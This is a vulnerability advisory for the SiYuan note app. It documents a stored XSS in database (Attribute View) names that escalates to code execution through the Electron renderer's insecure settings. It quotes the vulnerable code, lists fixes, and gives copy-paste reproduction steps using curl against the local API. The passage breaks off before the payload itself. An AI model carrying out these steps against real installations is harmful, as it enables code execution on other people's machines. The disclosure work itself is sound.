SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE

Summary

The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.

Payload is stored on disk under data/storage/av/.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.

Details

Kernel write — no escape. kernel/model/attribute_view.go:3244-3255:

attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView)         // ← no html.EscapeString

Kernel template — raw replace. kernel/model/attribute_view.go:3242,3283-3284:

const attrAvNameTpl = `${avName}`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName)   // ← raw

Sink #1 — AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):

${data.name || ""}
// ...
e.firstElementChild.outerHTML = `${genTabHeaderHTML(...)}...`;

Same pattern in kanban/render.ts:227 and gallery/render.ts:142.

Sink #2 — Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:

response.data.attrViews.forEach((item: { id: string, name: string }) => {
    avTitle += `${item.name} `;
});
nodeAttrHTML += `...${avTitle}`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;

Sink #3 — WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:

const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name")     { nameHTML  = `...${escapeHTML}...`; }
else if (key === "alias")    { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo")     { memoHTML  = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
    avHTML = `...${data.new["av-names"]}`;
    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;

The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.

Renderer posture — RCE multiplier. app/electron/main.js:407-411:

webPreferences: {
    nodeIntegration: true, webviewTag: true,
    webSecurity: false, contextIsolation: false,
}

Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.

Suggested fix

1. kernel/model/attribute_view.go getAvNames (line 3283-3284): replace the two strings.ReplaceAll calls with template.HTMLEscapeString(nodeAvName) for the ${avName} substitution.
2. transaction.ts:559: wrap with Lute.EscapeHTMLStr to match siblings at lines 549-557.
3. render.ts:120: use Lute.EscapeHTMLStr(data.name) for both data-title= and the text content.
4. Title.ts:396: escape item.name via Lute.EscapeHTMLStr and item.id via escapeAttr.
5. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.

Reproduction (copy-paste-ready)

Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.

Prereqs

1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at ~/SiYuanWorkspace is initialized. Do not set an Access Authorization Code (default).
2. Verify the kernel responds:

   curl -s http://127.0.0.1:6806/api/system/version
   

   Expected output (single line of JSON):

   {"code":0,"msg":"","data":"3.6.5"}
   

3. Pin shell variables for the rest of the PoC:

   API=http://127.0.0.1:6806
   WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere
   
   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
     -H 'Content-Type: application/json' -d '{}' \
     | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
   echo "Using notebook: $NOTEBOOK_ID"
   

   Expected: a 14-digit-timestamp + -7chars ID like 20240101120000-abc1234. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.

Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)

The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:

1. Open SiYuan. In any document, type /database and press Enter (or open the slash-command menu and pick Database).

2. The editor inserts an Attribute View block. The kernel writes a JSON file to /data/storage/av/.json.

3. Capture the AV ID — the most recently written file in that directory:

   AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1)
   AV_ID=$(basename "$AV_FILE" .json)
   echo "AV_ID: $AV_ID"
   

   Expected: same 14-digit-timestamp + -7chars shape, e.g. 20260503160000-aaaaaaa. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its data-av-id attribute.)

4. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's data-node-id in DevTools (Ctrl+Shift+I). Set:

   DOC_ID=
   

Step B — Plant the XSS payload as the AV name

The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.

curl -s -X POST $API/api/transactions \
  -H 'Content-Type: application/json' \
  --data-binary @-